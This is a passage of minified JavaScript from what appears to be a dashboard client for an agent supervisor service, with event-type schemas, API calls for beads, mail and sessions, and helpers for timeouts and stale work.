9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.outbound"),workflow:L.optional()}),Qx=h({actor:o(),city:o(),message:o().optional(),payload:Mu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.unbound"),workflow:L.optional()}),Yx=h({actor:o(),city:o(),message:o().optional(),payload:Au,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("gc.store.maintenance.done"),workflow:L.optional()}),Xx=h({actor:o(),city:o(),message:o().optional(),payload:Ou,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("gc.store.maintenance.failed"),workflow:L.optional()}),eE=h({actor:o(),city:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.archived"),workflow:L.optional()}),tE=h({actor:o(),city:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.deleted"),workflow:L.optional()}),nE=h({actor:o(),city:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.marked_read"),workflow:L.optional()}),rE=h({actor:o(),city:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.marked_unread"),workflow:L.optional()}),oE=h({actor:o(),city:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.read"),workflow:L.optional()}),iE=h({actor:o(),city:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.replied"),workflow:L.optional()}),aE=h({actor:o(),city:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.sent"),workflow:L.optional()}),sE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("order.completed"),workflow:L.optional()}),lE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("order.failed"),workflow:L.optional()}),uE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("order.fired"),workflow:L.optional()}),cE=h({actor:o(),city:o(),message:o().optional(),payload:bu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("pg.credential_resolved"),workflow:L.optional()}),dE=h({actor:o(),city:o(),message:o().optional(),payload:zu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("project.identity.stamped"),workflow:L.optional()}),pE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("provider.swapped"),workflow:L.optional()}),fE=h({actor:o(),city:o(),message:o().optional(),payload:Cu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.failed"),workflow:L.optional()}),mE=h({actor:o(),city:o(),message:o().optional(),payload:_u,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.city.create"),workflow:L.optional()}),vE=h({actor:o(),city:o(),message:o().optional(),payload:wu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.city.unregister"),workflow:L.optional()}),hE=h({actor:o(),city:o(),message:o().optional(),payload:ju,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.session.create"),workflow:L.optional()}),gE=h({actor:o(),city:o(),message:o().optional(),payload:Pu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.session.message"),workflow:L.optional()}),yE=h({actor:o(),city:o(),message:o().optional(),payload:Nu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.session.submit"),workflow:L.optional()}),_E=h({actor:o(),city:o(),message:o().optional(),payload:yr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.crashed"),workflow:L.optional()}),wE=h({actor:o(),city:o(),message:o().optional(),payload:Ru,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.drain_acked_with_assigned_work"),workflow:L.optional()}),xE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.draining"),workflow:L.optional()}),EE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.idle_killed"),workflow:L.optional()}),IE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.max_age_killed"),workflow:L.optional()}),SE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.quarantined"),workflow:L.optional()}),kE=h({actor:o(),city:o(),message:o().optional(),payload:yr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.stopped"),workflow:L.optional()}),bE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.stranded"),workflow:L.optional()}),zE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.suspended"),workflow:L.optional()}),CE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.undrained"),workflow:L.optional()}),TE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.updated"),workflow:L.optional()}),BE=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.woke"),workflow:L.optional()}),RE=h({actor:o(),city:o(),message:o().optional(),payload:yr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.work_query_failed"),workflow:L.optional()}),PE=h({actor:o(),city:o(),message:o().optional(),payload:$u,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("supervisor.fs_pressure.skipped_tick"),workflow:L.optional()}),NE=h({actor:o(),city:o(),message:o().optional(),payload:Lu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("supervisor.shutdown_requested"),workflow:L.optional()}),AE=h({actor:o(),city:o(),message:o().optional(),payload:Fu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("worker.operation"),workflow:L.optional()}),dv=Hm("type",[Px.extend({type:x("bead.closed")}),Nx.extend({type:x("bead.created")}),Ax.extend({type:x("bead.updated")}),Ox.extend({type:x("city.created")}),jx.extend({type:x("city.resumed")}),$x.extend({type:x("city.suspended")}),Lx.extend({type:x("city.unregister_requested")}),Dx.extend({type:x("controller.started")}),Mx.extend({type:x("controller.stopped")}),Fx.extend({type:x("convoy.closed")}),Ux.extend({type:x("convoy.created")}),qx.extend({type:x("events.rotated")}),Vx.extend({type:x("extmsg.adapter_added")}),Wx.extend({type:x("extmsg.adapter_removed")}),Hx.extend({type:x("extmsg.bound")}),Gx.extend({type:x("extmsg.group_created")}),Jx.extend({type:x("extmsg.inbound")}),Kx.extend({type:x("extmsg.outbound")}),Qx.extend({type:x("extmsg.unbound")}),Yx.extend({type:x("gc.store.maintenance.done")}),Xx.extend({type:x("gc.store.maintenance.failed")}),eE.extend({type:x("mail.archived")}),tE.extend({type:x("mail.deleted")}),nE.extend({type:x("mail.marked_read")}),rE.extend({type:x("mail.marked_unread")}),oE.extend({type:x("mail.read")}),iE.extend({type:x("mail.replied")}),aE.extend({type:x("mail.sent")}),sE.extend({type:x("order.completed")}),lE.extend({type:x("order.failed")}),uE.extend({type:x("order.fired")}),cE.extend({type:x("pg.credential_resolved")}),dE.extend({type:x("project.identity.stamped")}),pE.extend({type:x("provider.swapped")}),fE.extend({type:x("request.failed")}),mE.extend({type:x("request.result.city.create")}),vE.extend({type:x("request.result.city.unregister")}),hE.extend({type:x("request.result.session.create")}),gE.extend({type:x("request.result.session.message")}),yE.extend({type:x("request.result.session.submit")}),_E.extend({type:x("session.crashed")}),wE.extend({type:x("session.drain_acked_with_assigned_work")}),xE.extend({type:x("session.draining")}),EE.extend({type:x("session.idle_killed")}),IE.extend({type:x("session.max_age_killed")}),SE.extend({type:x("session.quarantined")}),kE.extend({type:x("session.stopped")}),bE.extend({type:x("session.stranded")}),zE.extend({type:x("session.suspended")}),CE.extend({type:x("session.undrained")}),TE.extend({type:x("session.updated")}),BE.extend({type:x("session.woke")}),RE.extend({type:x("session.work_query_failed")}),PE.extend({type:x("supervisor.fs_pressure.skipped_tick")}),NE.extend({type:x("supervisor.shutdown_requested")}),AE.extend({type:x("worker.operation")}),Zx.extend({type:x("TypedTaggedEventStreamEnvelopeCustom")})]);h({event_cursor:o(),items:P(dv).nullable(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({beads:P(uv).nullable(),deps:P(eu).nullable(),logical_edges:P(eu).nullable(),logical_nodes:P(qw).nullable(),partial:Z(),resolved_root_store:o(),root_bead_id:o(),root_store_ref:o(),scope_groups:P(l5).nullable(),scope_kind:o(),scope_ref:o(),snapshot_event_seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),snapshot_version:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),stores_scanned:P(o()).nullable(),workflow_id:o()});const OE=h({declared_name:o().optional(),declared_prefix:o().optional(),name:o(),prefix:o().optional(),provider:o().optional(),session_template:o().optional(),suspended:Z()});h({agents:P(kw).nullable(),patches:zw.optional(),providers:fe(o(),r5).optional(),rigs:P(Cw).nullable(),workspace:OE});P(Yn([h({data:oo,event:x("heartbeat"),id:Be().optional(),retry:Be().optional()}),h({data:ov,event:x("turn"),id:Be().optional(),retry:Be().optional()})]));P(Yn([h({data:oo,event:x("heartbeat"),id:Be().optional(),retry:Be().optional()}),h({data:ov,event:x("turn"),id:Be().optional(),retry:Be().optional()})]));fe(o(),o());P(Yn([h({data:cv,event:x("event"),id:Be().optional(),retry:Be().optional()}),h({data:oo,event:x("heartbeat"),id:Be().optional(),retry:Be().optional()})]));P(Yn([h({data:iv,event:x("activity"),id:Be().optional(),retry:Be().optional()}),h({data:oo,event:x("heartbeat"),id:Be().optional(),retry:Be().optional()}),h({data:p5,event:x("message").optional(),id:Be().optional(),retry:Be().optional()}),h({data:ku,event:x("pending"),id:Be().optional(),retry:Be().optional()}),h({data:d5,event:x("turn"),id:Be().optional(),retry:Be().optional()})]));P(Yn([h({data:oo,event:x("heartbeat"),id:o().optional(),retry:Be().optional()}),h({data:dv,event:x("tagged_event"),id:o().optional(),retry:Be().optional()})]));class Wn extends Error{constructor(r,i,s){super(i),this.status=r,this.requestId=s}status;requestId;name="SupervisorApiError"}async function Ie(t,r){let i;try{i=await t}catch(p){throw jE(p)}const{response:s}=i;if(s===void 0)throw new Wn(void 0,tu(i.error),void 0);if(!s.ok||i.error!==void 0)throw new Wn(s.status,tu(i.error,s.statusText),s.headers.get("x-gc-request-id")??void 0);const u=i.data;if(u===void 0)throw new Wn(s.status,r,s.headers.get("x-gc-request-id")??void 0);return u}function jE(t){return t instanceof Wn?t:new Wn(void 0,tu(t),void 0)}function tu(t,r="gc supervisor request failed"){if(typeof t=="string"&&t.trim().length>0)return t.trim();if(t instanceof Error&&t.message.trim().length>0)return t.message.trim();if($E(t))for(const i of["error","message","detail"]){const s=t[i];if(typeof s=="string"&&s.trim().length>0)return s.trim()}return r}function $E(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}const LE="";function DE(){const t=globalThis.location?.origin;return typeof t=="string"&&t.length>0&&t!=="null"?t:LE}function ME(t){if(!t.startsWith("/"))return t;const r=globalThis.location?.origin;return typeof r!="string"||r.length===0||r==="null"?t:new URL(t,r).toString().replace(/\/$/,"")}function Nf(t,r,i){const s=t.replace(/\/$/,""),u=new URLSearchParams(i).toString(),p=u.length>0?`${r}?${u}`:r;return s===""?p:s.startsWith("/")?`${s}${p}`:new URL(p,`${s}/`).toString()}const FE=6e4,Rt={"X-GC-Request":"dashboard"};let Af=null;const Of=new Map;function pv(t={}){const r=t.baseUrl??DE(),s={baseUrl:ME(r),headers:{Accept:"application/json"},responseStyle:"fields",throwOnError:!1},u=t.client??vm({...s,fetch:ZE(t.fetch??globalThis.fetch,fv(t.timeoutMs))});return{baseUrl:r,health(){return Ie(i7({client:u}),"gc supervisor health response was empty")},cityHealth(p){return Ie(w7({client:u,path:{cityName:p}}),"gc supervisor city health response was empty")},cityStatus(p){return Ie(A7({client:u,path:{cityName:p}}),"gc supervisor status response was empty")},listCities(){return Ie(a7({client:u}),"gc supervisor cities response was empty")},listAgents(p){return Ie(d7({client:u,path:{cityName:p}}),"gc supervisor agents response was empty")},listRigs(p){return Ie(C7({client:u,path:{cityName:p}}),"gc supervisor rigs response was empty")},listBeads(p,d){return Ie(v7({client:u,path:{cityName:p},...d===void 0?{}:{query:d}}),"gc supervisor beads response was empty")},listEvents(p,d){return Ie(g7({client:u,path:{cityName:p},...d===void 0?{}:{query:d}}),"gc supervisor events response was empty")},getBead(p,d){return Ie(p7({client:u,path:{cityName:p,id:d}}),"gc supervisor bead response was empty")},createBead(p,d){return Ie(h7({client:u,path:{cityName:p},headers:Rt,body:d}),"gc supervisor bead create response was empty")},updateBead(p,d,m){return Ie(f7({client:u,path:{cityName:p,id:d},headers:Rt,body:m}),"gc supervisor bead update response was empty")},closeBead(p,d,m){return Ie(m7({client:u,path:{cityName:p,id:d},headers:Rt,...m===void 0?{}:{body:m}}),"gc supervisor bead close response was empty")},nudgeAgent(p,d){const m=jf(d);return"dir"in m?Ie(c7({client:u,path:{cityName:p,dir:m.dir,base:m.base,action:"nudge"},headers:Rt}),"gc supervisor agent nudge response was empty"):Ie(l7({client:u,path:{cityName:p,base:m.base,action:"nudge"},headers:Rt}),"gc supervisor agent nudge response was empty")},agentPrime(p,d){const m=jf(d);return"dir"in m?Ie(u7({client:u,path:{cityName:p,dir:m.dir,base:m.base}}),"gc supervisor agent prime response was empty"):Ie(s7({client:u,path:{cityName:p,base:m.base}}),"gc supervisor agent prime response was empty")},sling(p,d){return Ie(N7({client:u,path:{cityName:p},headers:Rt,body:d}),"gc supervisor sling response was empty")},listMail(p,d){return Ie(x7({client:u,path:{cityName:p},...d===void 0?{}:{query:d}}),"gc supervisor mail response was empty")},formulaFeed(p,d){return Ie(y7({client:u,path:{cityName:p},...d===void 0?{}:{query:d}}),"gc supervisor formula feed response was empty")},sendMail(p,d){return Ie(E7({client:u,path:{cityName:p},headers:Rt,body:d}),"gc supervisor mail send response was empty")},mailThread(p,d){return Ie(I7({client:u,path:{cityName:p,id:d}}),"gc supervisor mail thread response was empty")},markMailRead(p,d,m){return Ie(b7({client:u,path:{cityName:p,id:d},headers:Rt,...m===void 0?{}:{query:m}}),"gc supervisor mail mark-read response was empty")},markMailUnread(p,d,m){return Ie(k7({client:u,path:{cityName:p,id:d},headers:Rt,...m===void 0?{}:{query:m}}),"gc supervisor mail mark-unread response was empty")},archiveMail(p,d,m){return Ie(S7({client:u,path:{cityName:p,id:d},headers:Rt,...m===void 0?{}:{query:m}}),"gc supervisor mail archive response was empty")},replyMail(p,d,m,g){return Ie(z7({client:u,path:{cityName:p,id:d},headers:Rt,body:m,...g===void 0?{}:{query:g}}),"gc supervisor mail reply response was empty")},cityEventStreamUrl(p,d){return Nf(r,`/v0/city/${encodeURIComponent(p)}/events/stream`,d===void 0?void 0:{after_seq:d})},sessionStreamUrl(p,d,m){return Nf(r,`/v0/city/${encodeURIComponent(p)}/session/${encodeURIComponent(d)}/stream`,m===void 0?void 0:{after:m})},listSessions(p){return Ie(P7({client:u,path:{cityName:p}}),"gc supervisor sessions response was empty")},sessionPending(p,d){return Ie(T7({client:u,path:{cityName:p,id:d}}),"gc supervisor session pending response was empty")},respondSession(p,d,m){return Ie(B7({client:u,path:{cityName:p,id:d},headers:Rt,body:m}),"gc supervisor session respond response was empty")},sessionTranscript(p,d){return Ie(R7({client:u,path:{cityName:p,id:d},query:{format:"conversation"}}),"gc supervisor transcript response was empty")},workflowRun(p,d,m){return Ie(O7({client:u,path:{cityName:p,workflow_id:d},...m===void 0?{}:{query:m}}),"gc supervisor workflow response was empty")},formulaDetail(p,d,m){return Ie(_7({client:u,path:{cityName:p,name:d},query:m}),"gc supervisor formula detail response was empty")},mutationHeaders(){return{...Rt}}}}function ot(){return Af??=pv(),Af}function UE(t){const r=fv(t),i=Of.get(r);if(i!==void 0)return i;const s=pv({timeoutMs:r});return Of.set(r,s),s}function jf(t){const r=t.trim().split("/");if(r.length===1){const i=r[0];if(i!==void 0&&i!=="")return{base:i}}if(r.length===2){const i=r[0],s=r[1];if(i!==void 0&&i!==""&&s!==void 0&&s!=="")return{dir:i,base:s}}throw new Error(`invalid agent alias: ${t}`)}function fv(t){return typeof t=="number"&&Number.isFinite(t)&&t>0?t:FE}function ZE(t,r){return async(i,s)=>{const u=new AbortController,p=new Wn(void 0,`gc supervisor request timed out after ${r}ms`,void 0),d=qE(i,s);d?.aborted&&u.abort(d.reason);const m=()=>u.abort(d?.reason);d?.addEventListener("abort",m,{once:!0});let g;const y=new Promise((T,A)=>{g=setTimeout(()=>{u.abort(p),A(p)},r)}),E=new Request(i,{...s,signal:u.signal}),S=t(E);try{return await Promise.race([S,y])}finally{g!==void 0&&clearTimeout(g),d?.removeEventListener("abort",m)}}}function qE(t,r){return r?.signal!==void 0?r.signal:t instanceof Request?t.signal:null}async function VE(t,r){const i=xn("list agent pending interactions"),s=WE(r),u=t.flatMap(d=>{const m=d.session?.name;if(m===void 0)return[];const g=s.get(m);return g===void 0?[]:[{agentName:d.name,sessionId:g,sessionName:m}]});return(await Promise.all(u.map(async d=>{const m=await ot().sessionPending(i,d.sessionId);return m.pending===void 0?null:{...d,pending:m.pending}}))).filter(d=>d!==null)}async function j6(t,r){const i=xn("respond to agent pending interaction");return ot().respondSession(i,t,r)}function $6(t){return`gc agent attach ${HE(t)}`}function WE(t){const r=new Map;for(const i of t)i.session_name!==void 0&&r.set(i.session_name,i.id);return r}function HE(t){return/^[A-Za-z0-9_./:-]+$/.test(t)?t:`'${t.replaceAll("'","'\\''")}'`}const GE=1e3,JE=200,KE=1e3,QE=new Set(["feature","bug","task","epic","chore","decision"]);async function YE(t={}){const r=xn("list supervisor beads"),i=t.limit??GE,s=t.rigFilter?.trim()??"",u=t.includeClosed??!1,p=t.includeBookkeeping??!1,d={limit:i,...u?{all:!0}:{},...s.length===0?{}:{rig:s}},m=await ot().listBeads(r,d),g=vv(m.items??[]),y=u?g:g.filter(T=>T.status!=="closed"),E=p?y:y.filter(XE),S=mv(m.total);return{items:E,total:E.length,...S===void 0?{}:{upstream_total:S},upstream_fetched:g.length,fetch_limit:i}}async function L6(t,r={}){const i=xn("list supervisor assigned beads"),s=t4(t),u=r.limit??JE,p=r.includeClosed??!1;if(s.length===0)return{items:[],total:0,upstream_fetched:0,fetch_limit:u};const d=await Promise.all(s.map(y=>ot().listBeads(i,{assignee:y,limit:u,...p?{all:!0}:{}}))),m=vv(d.flatMap(y=>y.items??[])),g=e4(d);return{items:m,total:m.length,...g===void 0?{}:{upstream_total:g},upstream_fetched:m.length,fetch_limit:u}}async function D6(t){const r=xn("fetch supervisor bead");try{return await ot().getBead(r,t)}catch(i){if(!(i instanceof Wn)||i.status!==404)throw i;const u=((await ot().listBeads(r,{limit:KE})).items??[]).find(p=>p.id===t);if(u!==void 0)return u;throw i}}function XE(t){return!(!QE.has(t.issue_type)||Array.isArray(t.labels)&&t.labels.some(r=>r.startsWith("gc:")))}function mv(t){if(typeof t=="number")return t;if(typeof t=="bigint")return Number(t)}function e4(t){let r=0;for(const i of t){const s=mv(i.total);if(s===void 0)return;r+=s}return r}function vv(t){const r=new Set,i=[];for(const s of t)r.has(s.id)||(r.add(s.id),i.push(s));return i}function t4(t){const r=new Set,i=[];for(const s of t){const u=s.trim();u.length===0||r.has(u)||(r.add(u),i.push(u))}return i}const M6=[100,500,1e3],Uu=100,F6=["24h","7d","all"],n4="all",r4={"24h":1440*60*1e3,"7d":10080*60*1e3};async function Zu(t,r,i,s=Uu,u=n4,p=Date.now()){const d=xn("list supervisor mail"),m=await ot().listMail(d,{limit:s}),g=m.items??[],y=i4(o4(g,t,r,i),u,p);return y.sort(l4),{...m,items:y,total:y.length,upstream_total:g.length,upstream_fetched:g.length,fetch_limit:s}}async function U6(t,r,i,s=Uu){const u=xn("fetch supervisor mail thread");try{const p=await ot().mailThread(u,t);return $f(p)}catch(p){if(!(p instanceof Wn)||p.status!==404)throw p;const d=await Zu("all",r,i,s),m=d.items.filter(g=>g.thread_id===t);return $f({...d,items:m,total:m.length})}}function $f(t){const r=s4(t.items??[]).sort(u4);return{...t,items:r,total:r.length}}function o4(t,r,i,s){const u=a4(i,s);return r==="all"?[...t]:r==="inbox"?t.filter(p=>p.to.toLowerCase()===u):t.filter(p=>p.from.toLowerCase()===u)}function i4(t,r,i){if(r==="all")return[...t];const s=i-r4[r];return t.filter(u=>{const p=Date.parse(u.created_at);return Number.isFinite(p)&&p>=s})}function a4(t,r){const i=t.toLowerCase();return i===r.operatorAlias.toLowerCase()?r.operatorWireAlias:i}function s4(t){const r=new Set,i=[];for(const s of t)r.has(s.id)||(r.add(s.id),i.push(s));return i}function l4(t,r){return r.created_at.localeCompare(t.created_at)}function u4(t,r){return t.created_at.localeCompare(r.created_at)}function hv(t,r){if(t===void 0||t.length===0)return null;const i=Date.parse(t);if(!Number.isFinite(i))return null;const s=r-i;return s>=0?s:null}function gv(t){const r=Math.max(1,Math.round(t/36e5));return r<48?`${r}h`:`${Math.round(r/24)}d`}const c4=1440*60*1e3,d4=4320*60*1e3;function p4(t,r){const i=[];for(const s of t.escalations){const u=f4(s);u!==null&&i.push(u)}for(const s of t.beads){const u=m4(s,r);u!==null&&i.push(u)}return i}function f4(t){return t.status==="closed"?null:{beadId:t.id,reason:"escalated",severity:"attention",summary:`${t.title} — escalation raised`,updatedAt:t.updated_at??t.created_at}}function m4(t,r){if(t.status!=="open"||v4(t))return null;const i=hv(t.created_at,r);if(i===null||i<c4)return null;const s=i>=d4;return{beadId:t.id,reason:"ready-unclaimed",severity:s?"attention":"watch",summary:`${t.title} opened ${gv(i)} ago`,updatedAt:t.created_at}}function v4(t){return t.assignee!==void 0&&t.assignee.trim().length>0}function Lf(t,r){const i=`/runs/${encodeURIComponent(t)}`;if(r.status!=="available")return i;const s=new URLSearchParams;return s.set("scope_kind",r.kind),s.set("scope_ref",r.ref),`${i}?${s.toString()}`}const h4={"awaiting-input":"awaiting input",errored:"errored","rate-limited":"rate limited",stalled:"stalled"},g4={respond:"Respond to its prompt.",reset:"Reset the agent.",nudge:"Nudge it to resume."},y4={"awaiting-input":"stuck",errored:"stuck","rate-limited":"warn",stalled:"warn"};function _4(t){return h4[t]}function Z6(t){return g4[t]}function q6(t){return y4[t]}const w4=new Set(["gc.store.maintenance.failed","order.failed","request.failed","session.crashed","session.stranded","session.work_query_failed","supervisor.shutdown_requested"]),x4=new 